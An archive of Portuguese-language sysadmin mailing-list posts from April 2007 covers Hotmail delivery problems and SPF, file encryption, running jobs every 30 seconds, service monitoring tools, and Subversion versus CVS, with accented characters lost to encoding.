From rodrigo.trevisaneli at gmail.com  Tue Apr 10 22:05:40 2007
From: rodrigo.trevisaneli at gmail.com (Rodrigo Trevisaneli)
Date: Tue, 10 Apr 2007 22:05:40 -0300
Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega para
	Hotmail)
Message-ID: <3cc202850704101805x8b6982cpa45bb6cdadfb4141@mail.gmail.com>

Hermann,

Voce trocou de -all para ~all? Ou o contrario?
Eu uso -all aqui e tive problemas para entregar para o
Hotmail tambem. Sera que foi isso?

E, como fez para "avisar o suporte do Hotmail" ?

Quando minhas mensagens come?aram a voltar, visitei a pagina de
postmaster, ate me registrei no tal SNDS para analisar meu trafego
SMTP para eles, mas nao
localizei como contacta-los. Acabei desviando o trafego com destino a
Hotmail por outro IP de saida, mas queria mesmo liberar meu IP
principal. Meu trafego para l? ? baixo, 100 mensagens por dia, nada de
SPAM, e mesmo assim ca? na faixa "amarela" do SNDS e de um momento
para outro, eles nao aceitavam mais nenhuma mensagem. Detalhe, IP
fixo, dedicado, reverso, SPF,
nenhuma RBL, tudo ok.

-Rodrigo

>
> Message: 7
> Date: Tue, 10 Apr 2007 01:54:02 -0300
> From: Hermann Wecke <hermann at rodeios.com>
> Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega
>        para    Hotmail)
> To: "Mail Aid and Succor, On-line Comfort and Help"
>        <masoch-l at eng.registro.br>
> Message-ID: <461B186A.9010508 at rodeios.com>
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
> Depois de seguir a dica do Pina [1], ler a mensagem do Frederick [2] e
> comparar a resposta que eu recebi com a recebida pelo Rafael [3], eu
> corrigi um ?nico "erro" no SPF (~all ao inv?s de -all) e enviei v?rias
> "amostras" dos emails para o email de contato, avisando o suporte do
> Hotmail.
>
> Aparentemente voltou ao normal, com as mensagens sendo entregues aos
> destinat?rios. Espero que continue assim por algum tempo pelo menos!
>
> [1] http://eng.registro.br/pipermail/masoch-l/2007-March/004192.html
> [2] http://eng.registro.br/pipermail/masoch-l/2007-March/004199.html
> [3] http://eng.registro.br/pipermail/masoch-l/2007-March/004221.html
>
>


From kiko at uol.com.br  Tue Apr 10 22:55:45 2007
From: kiko at uol.com.br (Francisco G. Matos)
Date: Tue, 10 Apr 2007 22:55:45 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
Message-ID: <008301c77bdc$85652b50$6401a8c0@darktop>

De longe, a melhor solu??o de criptografia de disco e/ou arquivos que eu 
conhe?o ?:
http://www.truecrypt.org/

Com a vantagem de ser gr?tis e open-source.

Kiko

----- Original Message ----- 
From: "Filipe Alvarez" <filipealvarez at gmail.com>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Tuesday, April 10, 2007 8:11 AM
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados


Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.

Por?m para dificultar o vazamento de dados da empresa, gostaria
de implantar algum sistema de "criptografia" nos arquivos, de
forma que se ele for acessado de alguma m?quina que n?o seja
as da rede interna, o conte?do dos arquivos nao fique exposto.

Alguem conhe?e alguma solu??o?

Grato,
Filipe.
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From jczucco at ucs.br  Wed Apr 11 08:06:43 2007
From: jczucco at ucs.br (Jeronimo Zucco)
Date: Wed, 11 Apr 2007 08:06:43 -0300
Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega
	paraHotmail)
In-Reply-To: <3cc202850704101805x8b6982cpa45bb6cdadfb4141@mail.gmail.com>
References: <3cc202850704101805x8b6982cpa45bb6cdadfb4141@mail.gmail.com>
Message-ID: <461CC143.2010104@ucs.br>

    Vai ver a Microsoft quer que todo mundo migre para o gmail mesmo, 
para de uma hora para outra o hotmail negar todas as mensagens :-)

Rodrigo Trevisaneli escreveu:
> Hermann,
>
> Voce trocou de -all para ~all? Ou o contrario?
> Eu uso -all aqui e tive problemas para entregar para o
> Hotmail tambem. Sera que foi isso?
>
> E, como fez para "avisar o suporte do Hotmail" ?
>
> Quando minhas mensagens come?aram a voltar, visitei a pagina de
> postmaster, ate me registrei no tal SNDS para analisar meu trafego
> SMTP para eles, mas nao
> localizei como contacta-los. Acabei desviando o trafego com destino a
> Hotmail por outro IP de saida, mas queria mesmo liberar meu IP
> principal. Meu trafego para l? ? baixo, 100 mensagens por dia, nada de
> SPAM, e mesmo assim ca? na faixa "amarela" do SNDS e de um momento
> para outro, eles nao aceitavam mais nenhuma mensagem. Detalhe, IP
> fixo, dedicado, reverso, SPF,
> nenhuma RBL, tudo ok.
>
> -Rodrigo
>
>   
>> Message: 7
>> Date: Tue, 10 Apr 2007 01:54:02 -0300
>> From: Hermann Wecke <hermann at rodeios.com>
>> Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega
>>        para    Hotmail)
>> To: "Mail Aid and Succor, On-line Comfort and Help"
>>        <masoch-l at eng.registro.br>
>> Message-ID: <461B186A.9010508 at rodeios.com>
>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>
>> Depois de seguir a dica do Pina [1], ler a mensagem do Frederick [2] e
>> comparar a resposta que eu recebi com a recebida pelo Rafael [3], eu
>> corrigi um ?nico "erro" no SPF (~all ao inv?s de -all) e enviei v?rias
>> "amostras" dos emails para o email de contato, avisando o suporte do
>> Hotmail.
>>
>> Aparentemente voltou ao normal, com as mensagens sendo entregues aos
>> destinat?rios. Espero que continue assim por algum tempo pelo menos!
>>
>> [1] http://eng.registro.br/pipermail/masoch-l/2007-March/004192.html
>> [2] http://eng.registro.br/pipermail/masoch-l/2007-March/004199.html
>> [3] http://eng.registro.br/pipermail/masoch-l/2007-March/004221.html
>>
>>
>>     
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   


-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com



From jmoura at ninetel.com.br  Thu Apr 12 08:31:30 2007
From: jmoura at ninetel.com.br (JOAO CARLOS MOURA)
Date: Thu, 12 Apr 2007 08:31:30 -0300
Subject: [MASOCH-L] cron de 30 segundos
Message-ID: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>

Ol? lista, alguem conhece uma ferramenta do tipo cron mais
que permita disparar um processo de 30 em 30 segundos?

Obrigado,

Jo?o Carlos Moura
jmoura at crdusa.net

NINETEL TELCO,Inc
168 SE 1ST Street Suite 603) 
Miami - FL - USA
Direct Phone   1 786 272 0189
Sales/Support 1 786 522 7219
http://www.ninetelusa.com
======================
"Dif?cil ? aprender a ler, 
o resto est? escrito."
======================

From silvio.cesar at unigranrio.edu.br  Thu Apr 12 09:00:19 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Thu, 12 Apr 2007 09:00:19 -0300
Subject: [MASOCH-L] cron de 30 segundos
In-Reply-To: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
References: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
Message-ID: <20070412090019.ztvhk017kg8cg8sw@webmail.unigranrio.edu.br>



   Bom dia,

   O m?nimo do cron ? 1 minuto.

   Use um script tipo:

   #!/bin/sh
while true; do
?? sleep 120
?? ping -c 10 200.200.200.200 >> /dev/null
?? if [ ! $? -eq 0 ]; then
?????? /usr/bin/wvdial
?????? sleep 600
?? fi
done

   Silvio

    Quoting JOAO CARLOS MOURA :

> Ol? lista, alguem conhece uma ferramenta do tipo cron mais
> que permita disparar um processo de 30 em 30 segundos?
>
> Obrigado,
>
> Jo?o Carlos Moura
> jmoura at crdusa.net
>
> NINETEL TELCO,Inc
> 168 SE 1ST Street Suite 603)
> Miami - FL - USA
> Direct Phone? ?1 786 272 0189
> Sales/Support 1 786 522 7219
> http://www.ninetelusa.com
> ======================
> "Dif?cil ? aprender a ler,
> o resto est? escrito."
> ======================
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>





From tdamas at gmail.com  Thu Apr 12 10:06:46 2007
From: tdamas at gmail.com (Thiago Damas)
Date: Thu, 12 Apr 2007 10:06:46 -0300
Subject: [MASOCH-L] cron de 30 segundos
In-Reply-To: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
References: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
Message-ID: <f8e3d83f0704120606i13283babqabe46f281980ab4f@mail.gmail.com>

  Coloca de 1 em 1 minuto, e no script execute 2 vezes (com um sleep 30)


On 4/12/07, JOAO CARLOS MOURA <jmoura at ninetel.com.br> wrote:
> Ol? lista, alguem conhece uma ferramenta do tipo cron mais
> que permita disparar um processo de 30 em 30 segundos?
>
> Obrigado,
>
> Jo?o Carlos Moura
> jmoura at crdusa.net
>
> NINETEL TELCO,Inc
> 168 SE 1ST Street Suite 603)
> Miami - FL - USA
> Direct Phone   1 786 272 0189
> Sales/Support 1 786 522 7219
> http://www.ninetelusa.com
> ======================
> "Dif?cil ? aprender a ler,
> o resto est? escrito."
> ======================
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From fabiano.br at uol.com.br  Thu Apr 12 10:21:45 2007
From: fabiano.br at uol.com.br (Fabiano)
Date: Thu, 12 Apr 2007 10:21:45 -0300
Subject: [MASOCH-L] cron de 30 segundos
In-Reply-To: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
References: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
Message-ID: <7.0.1.0.2.20070412100911.0395a6f0@uol.com.br>


Opa,
         Apenas umlembrete....
         Leve em conta que o script em quest?o 
deve rodar em pouco tempo (alguns segundos, sen?o 
apenas 01), caso contr?rio, tem o risco de "encavalar" processos.... exemplo :
                 - O cron inicia o script no 
instante 00", leva 27" para executar e dorme 30", 
logo o pr?ximo "evento do script desta chamada do 
cron" ser? no instante 57", onde, em apenas + 03" 
j? ter? um novo lan?amento (do script pelo cron), do minuto seguinte...
         Comento porque j? vi m?quinas ficarem 
inacess?veis depois de uma madrugada de centenas 
de milhares de processos enterrando estas 
m?quinas, que n?o respondia nem telnet mais, 
rsss, acabou-se em processos, filas, i/o, swaps de mem?ria,etc...
         Conta r?pida ... 02 processos x 60' x 24 
horas ===> 2.880  processos lan?ados em 01 ?nico dia...
         Obviamente, imagino que realizar? 
testes,etc e tal para garantir a qualidade deste 
script, por?m, dependendo do que for rodar, fique 
de olho no desempenho da m?quina ... :-)

[]s
Fabiano

At 08:31 12/4/2007, you wrote:
>Ol? lista, alguem conhece uma ferramenta do tipo cron mais
>que permita disparar um processo de 30 em 30 segundos?
>
>Obrigado,
>
>Jo?o Carlos Moura
>jmoura at crdusa.net
>
>NINETEL TELCO,Inc
>168 SE 1ST Street Suite 603)
>Miami - FL - USA
>Direct Phone   1 786 272 0189
>Sales/Support 1 786 522 7219
>http://www.ninetelusa.com
>======================
>"Dif?cil ? aprender a ler,
>o resto est? escrito."
>======================
>__
>masoch-l list
>https://eng.registro.br/mailman/listinfo/masoch-l



From rafael at grupouds.com.br  Thu Apr 12 11:07:01 2007
From: rafael at grupouds.com.br (Rafael Augusto)
Date: Thu, 12 Apr 2007 11:07:01 -0300
Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao
	entregaparaHotmail)
References: <3cc202850704101805x8b6982cpa45bb6cdadfb4141@mail.gmail.com>
	<461CC143.2010104@ucs.br>
Message-ID: <004a01c77d0b$d8b26270$a801a8c0@uds68514a09ca7>

Modifiquei tamb?m meu SPF para ~all, no entanto no meu caso continua o 
problema, ele entrega para o hotmail mas o hotmail n?o repassa para o 
usuario, fica travado nesse filtro "obscuro", sendo que no SNDS meu IP est? 
normal e mesmo mensagens com " teste de envio "  n?o chegam ao destinatario.

Att,
                Rafael Augusto

_____________________________
     UDS - Solu??es Digitais
  http://www.grupouds.com.br
          (44) 3029-1333

----- Original Message ----- 
From: "Jeronimo Zucco" <jczucco at ucs.br>
To: "Mail Aid and Succor,On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Wednesday, April 11, 2007 8:06 AM
Subject: Re: [MASOCH-L] Aparentemente normal (Era: Postfix nao 
entregaparaHotmail)


    Vai ver a Microsoft quer que todo mundo migre para o gmail mesmo,
para de uma hora para outra o hotmail negar todas as mensagens :-)

Rodrigo Trevisaneli escreveu:
> Hermann,
>
> Voce trocou de -all para ~all? Ou o contrario?
> Eu uso -all aqui e tive problemas para entregar para o
> Hotmail tambem. Sera que foi isso?
>
> E, como fez para "avisar o suporte do Hotmail" ?
>
> Quando minhas mensagens come?aram a voltar, visitei a pagina de
> postmaster, ate me registrei no tal SNDS para analisar meu trafego
> SMTP para eles, mas nao
> localizei como contacta-los. Acabei desviando o trafego com destino a
> Hotmail por outro IP de saida, mas queria mesmo liberar meu IP
> principal. Meu trafego para l? ? baixo, 100 mensagens por dia, nada de
> SPAM, e mesmo assim ca? na faixa "amarela" do SNDS e de um momento
> para outro, eles nao aceitavam mais nenhuma mensagem. Detalhe, IP
> fixo, dedicado, reverso, SPF,
> nenhuma RBL, tudo ok.
>
> -Rodrigo
>
>
>> Message: 7
>> Date: Tue, 10 Apr 2007 01:54:02 -0300
>> From: Hermann Wecke <hermann at rodeios.com>
>> Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega
>>        para    Hotmail)
>> To: "Mail Aid and Succor, On-line Comfort and Help"
>>        <masoch-l at eng.registro.br>
>> Message-ID: <461B186A.9010508 at rodeios.com>
>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>
>> Depois de seguir a dica do Pina [1], ler a mensagem do Frederick [2] e
>> comparar a resposta que eu recebi com a recebida pelo Rafael [3], eu
>> corrigi um ?nico "erro" no SPF (~all ao inv?s de -all) e enviei v?rias
>> "amostras" dos emails para o email de contato, avisando o suporte do
>> Hotmail.
>>
>> Aparentemente voltou ao normal, com as mensagens sendo entregues aos
>> destinat?rios. Espero que continue assim por algum tempo pelo menos!
>>
>> [1] http://eng.registro.br/pipermail/masoch-l/2007-March/004192.html
>> [2] http://eng.registro.br/pipermail/masoch-l/2007-March/004199.html
>> [3] http://eng.registro.br/pipermail/masoch-l/2007-March/004221.html
>>
>>
>>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com

__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From lyra at pop-pr.rnp.br  Thu Apr 12 11:43:52 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Thu, 12 Apr 2007 11:43:52 -0300
Subject: [MASOCH-L] cron de 30 segundos
In-Reply-To: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
References: <000f01c77cf6$1fa5ff40$0301a8c0@bobsponja>
Message-ID: <200704121143.59403.lyra@pop-pr.rnp.br>


T? com cara de que vc quer monitorar alguma coisa... considere usar o 
gnu mon.


On Thursday 12 April 2007 08:31, JOAO CARLOS MOURA wrote:
>  Ol? lista, alguem conhece uma ferramenta do tipo cron mais
>  que permita disparar um processo de 30 em 30 segundos?
>
>  Obrigado,
>
>  Jo?o Carlos Moura
>  jmoura at crdusa.net
>
>  NINETEL TELCO,Inc
>  168 SE 1ST Street Suite 603)
>  Miami - FL - USA
>  Direct Phone   1 786 272 0189
>  Sales/Support 1 786 522 7219
>  http://www.ninetelusa.com
>  ======================
>  "Dif?cil ? aprender a ler,
>  o resto est? escrito."
>  ======================
>  __
>  masoch-l list
>  https://eng.registro.br/mailman/listinfo/masoch-l

-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  Thus spake the master programmer: 
  ``After three days without programming, life becomes meaningless.'' 
						The Tao Of Programing


From jmoura at ninetel.com.br  Thu Apr 12 11:52:42 2007
From: jmoura at ninetel.com.br (JOAO CARLOS MOURA)
Date: Thu, 12 Apr 2007 11:52:42 -0300
Subject: [MASOCH-L] cron 30 segundos
Message-ID: <006d01c77d12$3ad04700$0301a8c0@bobsponja>

Obrigado pelas respostas.
Sim Christian, quero monitorar um sistema e uso um script
que apenas faz login e logout usando socket. No caso do login falhar ele
levanta o sistema novamente.

Nao sei se rodando a cada 30 segundos ira gerar o monte
de processo como nosso amigo Fabiano disse.

Mais, valeu pela dica.



Jo?o Carlos Moura
jmoura at crdusa.net

NINETEL TELCO,Inc
168 SE 1ST Street Suite 603) 
Miami - FL - USA
Direct Phone   1 786 272 0189
Sales/Support 1 786 522 7219
http://www.ninetelusa.com
======================
"Dif?cil ? aprender a ler, 
o resto est? escrito."
======================

From hamilton at i2.com.br  Thu Apr 12 12:05:45 2007
From: hamilton at i2.com.br (Hamilton Vera)
Date: Thu, 12 Apr 2007 12:05:45 -0300 (BRT)
Subject: [MASOCH-L] cron 30 segundos
In-Reply-To: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
References: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
Message-ID: <Pine.LNX.4.63.0704121205030.24072@lima.i2.com.br>

Bom, nao sei se enquadra na sua situacao, mas voce pode usar o nagios
para fazer isso. Ele permite que voce rode scripts caso detecte alguma 
falha no servico.

[]'s


Hamilton Vera
int Administrator (char Network[],char ComputationalSystems[]);
http://antispam.br/
"Google is my shepherd, no want shall I know"

On Thu, 12 Apr 2007, JOAO CARLOS MOURA wrote:

> Obrigado pelas respostas.
> Sim Christian, quero monitorar um sistema e uso um script
> que apenas faz login e logout usando socket. No caso do login falhar ele
> levanta o sistema novamente.
>
> Nao sei se rodando a cada 30 segundos ira gerar o monte
> de processo como nosso amigo Fabiano disse.
>
> Mais, valeu pela dica.
>
>
>
> Jo?o Carlos Moura
> jmoura at crdusa.net
>
> NINETEL TELCO,Inc
> 168 SE 1ST Street Suite 603)
> Miami - FL - USA
> Direct Phone   1 786 272 0189
> Sales/Support 1 786 522 7219
> http://www.ninetelusa.com
> ======================
> "Dif?cil ? aprender a ler,
> o resto est? escrito."
> ======================
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>

From lyra at pop-pr.rnp.br  Thu Apr 12 16:12:39 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Thu, 12 Apr 2007 16:12:39 -0300
Subject: [MASOCH-L] cron 30 segundos
In-Reply-To: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
References: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
Message-ID: <200704121612.39377.lyra@pop-pr.rnp.br>

On Thursday 12 April 2007 11:52, JOAO CARLOS MOURA wrote:
>  Obrigado pelas respostas.
>  Sim Christian, quero monitorar um sistema e uso um script
>  que apenas faz login e logout usando socket. No caso do login falhar
> ele levanta o sistema novamente.

	Com o mon vc consegue isso... e se n?o me engano ele ? esperto o 
suficiente para n?o lan?ar outro check caso o anterior ainda n?o tenha 
terminado.


-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  Who can tell the secrets of their hearts and minds? 
  The answer exists only in Tao. 
						The Tao Of Programing


From hamilton at i2.com.br  Fri Apr 13 01:35:27 2007
From: hamilton at i2.com.br (Hamilton Vera)
Date: Fri, 13 Apr 2007 01:35:27 -0300 (BRT)
Subject: [MASOCH-L] Servico para controle de versao de software.
In-Reply-To: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
References: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
Message-ID: <Pine.LNX.4.63.0704130128260.8107@lima.i2.com.br>

Caros, apesar dessa lista n?o ter foco em desenvolvimento, gostaria de 
saber quais servicos de controle de vers?o voc?s preferem. Pois sei
que alguns administradores por inercia herdam o gerenciamento de 
repositorios de software.

Na empresa que trabalho o pessoal do desenvolvimento utiliza o Starteam 
2005, por?m sugeri mudar o reposit?rio para o subversion, devido ao pre?o
das licencas (sugeri investir mais em servidores e substituir alguns
sistemas por solucoes gratuitas e open source)

Nos testes que fizemos alguns alegaram que o subversion ? mais lento, 
por?m creio que isso seja devido alguma configuracao erronea que fiz,
ou devido a estrutura dos arquivos que foram analisados.
Ainda estou lendo o livro svn-book, mas como o conteudo ? extenso, 
gostaria de saber a opni?o/dicas dos colegas.

Obrigado.


Hamilton Vera
int Administrator (char Network[],char ComputationalSystems[]);
http://antispam.br/
"Google is my shepherd, no want shall I know"

From edison at coslinux.com.br  Fri Apr 13 11:21:53 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Fri, 13 Apr 2007 07:21:53 -0700
Subject: [MASOCH-L] Servico para controle de versao de software.
In-Reply-To: <Pine.LNX.4.63.0704130128260.8107@lima.i2.com.br>
References: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
	<Pine.LNX.4.63.0704130128260.8107@lima.i2.com.br>
Message-ID: <461F9201.2080006@coslinux.com.br>

Hamilton,

Utilizamos o CVS por bons longos anos e atualmente utilizamos o 
SubVersion j? vai fazer quase 1 ano.

N?o sentimos saudade alguma do CVS.

Ele gerencia bem modifica??es realizadas simultaneamente em um mesmo 
arquivo e ? muito r?pido.

[ ] 's

Edison


Hamilton Vera escreveu:
> Caros, apesar dessa lista n?o ter foco em desenvolvimento, gostaria de 
> saber quais servicos de controle de vers?o voc?s preferem. Pois sei
> que alguns administradores por inercia herdam o gerenciamento de 
> repositorios de software.
>
> Na empresa que trabalho o pessoal do desenvolvimento utiliza o 
> Starteam 2005, por?m sugeri mudar o reposit?rio para o subversion, 
> devido ao pre?o
> das licencas (sugeri investir mais em servidores e substituir alguns
> sistemas por solucoes gratuitas e open source)
>
> Nos testes que fizemos alguns alegaram que o subversion ? mais lento, 
> por?m creio que isso seja devido alguma configuracao erronea que fiz,
> ou devido a estrutura dos arquivos que foram analisados.
> Ainda estou lendo o livro svn-book, mas como o conteudo ? extenso, 
> gostaria de saber a opni?o/dicas dos colegas.
>
> Obrigado.
>
>
> Hamilton Vera
> int Administrator (char Network[],char ComputationalSystems[]);
> http://antispam.br/
> "Google is my shepherd, no want shall I know"
> ------------------------------------------------------------------------
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From hermann at rodeios.com  Sat Apr 14 22:37:31 2007
From: hermann at rodeios.com (Hermann Wecke)
Date: Sat, 14 Apr 2007 22:37:31 -0300
Subject: [MASOCH-L] Telefone 4004-XXXX em todas as capitais
Message-ID: <462181DB.8050105@rodeios.com>

T?pico original na GTER

Marcelo Coelho wrote:
> J? vi algumas empresas com n?mero de telefone 4004-XXXX em todas as 
> capitais. Algu?m conhece uma empresa que preste este servi?o com o
> mesmo n?mero em v?rias capitais?

A Embratel ? a ?nica empresa que est? oferecendo esse servi?o segundo 
minha "?ltima" pesquisa. Eles exigem um M?NIMO de 25 mil chamadas POR 
CIDADE atendida. Tem disponibilidade de atendimento algumas cidades no 
interior (de cada estado), al?m de praticamente todas as capitais. Para 
cada cidade que voc? quer abrir o atendimento, haver? um comprometimento 
de 25 mil chamadas/m?s.

As demais empresas que eu entrei em contato (Telef?nica, Telem?, BrT, 
GVT) n?o est?o oferecendo o 400X naquele momento para novos clientes. A 
Telef?nica foi a ?nica que tentou empurrar o 0300. A Intelig nem 
respondeu, j? que tem um P?SSIMO pr?-atendimento, onde voc? tem quase 
que rastejar para ser atendido.

Se a sua necessidade ? ter o mesmo n?mero de telefone - mas n?o 
necessariamente em todas as capitais, algumas empresas (GVT, Transit, 
Matrix, Impsat) oferecem um servi?o corporativo onde o n?mero de 
telefone ser? o mesmo nas cidades que eles atendem, mas n?o tem 
cobertura nacional. Levam, por?m, uma vantagem em rela??o ? Embromatel: 
entregam em SIP/H323. A desvantagem ? que fechar um contrato com elas 
leva  quase o mesmo tempo que um parto. De uma elefoa [1].


[1] na minha ?poca era elefoa... virou elefanta agora.


From cleberps at gmail.com  Sun Apr 15 14:13:20 2007
From: cleberps at gmail.com (Cleber P. de Souza)
Date: Sun, 15 Apr 2007 14:13:20 -0300
Subject: [MASOCH-L] cron 30 segundos
In-Reply-To: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
References: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
Message-ID: <bd2415a70704151013x54f6d033g5c229c14cf1d8821@mail.gmail.com>

Acredito que o monit seja uma boa op??o.
http://www.tildeslash.com/monit/

On 4/12/07, JOAO CARLOS MOURA <jmoura at ninetel.com.br> wrote:
> Obrigado pelas respostas.
> Sim Christian, quero monitorar um sistema e uso um script
> que apenas faz login e logout usando socket. No caso do login falhar ele
> levanta o sistema novamente.
>
> Nao sei se rodando a cada 30 segundos ira gerar o monte
> de processo como nosso amigo Fabiano disse.
>
> Mais, valeu pela dica.
>
>
>
> Jo?o Carlos Moura
> jmoura at crdusa.net
>
> NINETEL TELCO,Inc
> 168 SE 1ST Street Suite 603)
> Miami - FL - USA
> Direct Phone   1 786 272 0189
> Sales/Support 1 786 522 7219
> http://www.ninetelusa.com
> ======================
> "Dif?cil ? aprender a ler,
> o resto est? escrito."
> ======================
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
***
Cleber P. de Souza


From daniel.checchia at gmail.com  Sun Apr 15 16:30:12 2007
From: daniel.checchia at gmail.com (Daniel Checchia)
Date: Sun, 15 Apr 2007 16:30:12 -0300
Subject: [MASOCH-L] Telefone 4004-XXXX em todas as capitais
In-Reply-To: <462181DB.8050105@rodeios.com>
References: <462181DB.8050105@rodeios.com>
Message-ID: <46227D44.7070001@gmail.com>

Tenho um n?mero ?nico com a Impsat e at? que foi r?pido.

No nosso projeto, meu asterisk roteia SIP para eles e as liga??es que 
entram possui o mesmo n?mero em qualquer cidade. Tenho 4 asterisk, por 
regi?o, que roteiam entre s?, saindo pela cidade mais em conta, ou local.

SDS
Daniel Checchia

Hermann Wecke escreveu:
> T?pico original na GTER
>
> Marcelo Coelho wrote:
>   
>> J? vi algumas empresas com n?mero de telefone 4004-XXXX em todas as 
>> capitais. Algu?m conhece uma empresa que preste este servi?o com o
>> mesmo n?mero em v?rias capitais?
>>     
>
> A Embratel ? a ?nica empresa que est? oferecendo esse servi?o segundo 
> minha "?ltima" pesquisa. Eles exigem um M?NIMO de 25 mil chamadas POR 
> CIDADE atendida. Tem disponibilidade de atendimento algumas cidades no 
> interior (de cada estado), al?m de praticamente todas as capitais. Para 
> cada cidade que voc? quer abrir o atendimento, haver? um comprometimento 
> de 25 mil chamadas/m?s.
>
> As demais empresas que eu entrei em contato (Telef?nica, Telem?, BrT, 
> GVT) n?o est?o oferecendo o 400X naquele momento para novos clientes. A 
> Telef?nica foi a ?nica que tentou empurrar o 0300. A Intelig nem 
> respondeu, j? que tem um P?SSIMO pr?-atendimento, onde voc? tem quase 
> que rastejar para ser atendido.
>
> Se a sua necessidade ? ter o mesmo n?mero de telefone - mas n?o 
> necessariamente em todas as capitais, algumas empresas (GVT, Transit, 
> Matrix, Impsat) oferecem um servi?o corporativo onde o n?mero de 
> telefone ser? o mesmo nas cidades que eles atendem, mas n?o tem 
> cobertura nacional. Levam, por?m, uma vantagem em rela??o ? Embromatel: 
> entregam em SIP/H323. A desvantagem ? que fechar um contrato com elas 
> leva  quase o mesmo tempo que um parto. De uma elefoa [1].
>
>
> [1] na minha ?poca era elefoa... virou elefanta agora.
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>   



From jczucco at ucs.br  Mon Apr 16 09:43:46 2007
From: jczucco at ucs.br (Jeronimo Zucco)
Date: Mon, 16 Apr 2007 09:43:46 -0300
Subject: [MASOCH-L] Servico para controle de versao de software.
In-Reply-To: <Pine.LNX.4.63.0704130128260.8107@lima.i2.com.br>
References: <006d01c77d12$3ad04700$0301a8c0@bobsponja>
	<Pine.LNX.4.63.0704130128260.8107@lima.i2.com.br>
Message-ID: <46236F82.3020202@ucs.br>

Oi, Hamilton.

Tamb?m utilizo o subversion. O problema da lentid?o no seu reposit?rio 
deve ser a configura??o do BerkeleyDB usado pelo subversion. Verifique 
dentro do diret?rio desse reposit?rio a exist?ncia do arquivo de 
configura??o DB_CONFIG. A diretiva que te d? um melhor ganho de 
performance ? a set_cachesize. D? uma olhada em:

http://www.openldap.org/faq/data/cache/1072.html


-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com




Hamilton Vera escreveu:
> Caros, apesar dessa lista n?o ter foco em desenvolvimento, gostaria de 
> saber quais servicos de controle de vers?o voc?s preferem. Pois sei
> que alguns administradores por inercia herdam o gerenciamento de 
> repositorios de software.
>
> Na empresa que trabalho o pessoal do desenvolvimento utiliza o 
> Starteam 2005, por?m sugeri mudar o reposit?rio para o subversion, 
> devido ao pre?o
> das licencas (sugeri investir mais em servidores e substituir alguns
> sistemas por solucoes gratuitas e open source)
>
> Nos testes que fizemos alguns alegaram que o subversion ? mais lento, 
> por?m creio que isso seja devido alguma configuracao erronea que fiz,
> ou devido a estrutura dos arquivos que foram analisados.
> Ainda estou lendo o livro svn-book, mas como o conteudo ? extenso, 
> gostaria de saber a opni?o/dicas dos colegas.
>
> Obrigado.
>
>
> Hamilton Vera
> int Administrator (char Network[],char ComputationalSystems[]);
> http://antispam.br/
> "Google is my shepherd, no want shall I know"
> ------------------------------------------------------------------------
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From mbonani at gmail.com  Mon Apr 16 10:16:16 2007
From: mbonani at gmail.com (Mauricio Bonani)
Date: Mon, 16 Apr 2007 10:16:16 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?DNS_slave_autom=E1tico?=
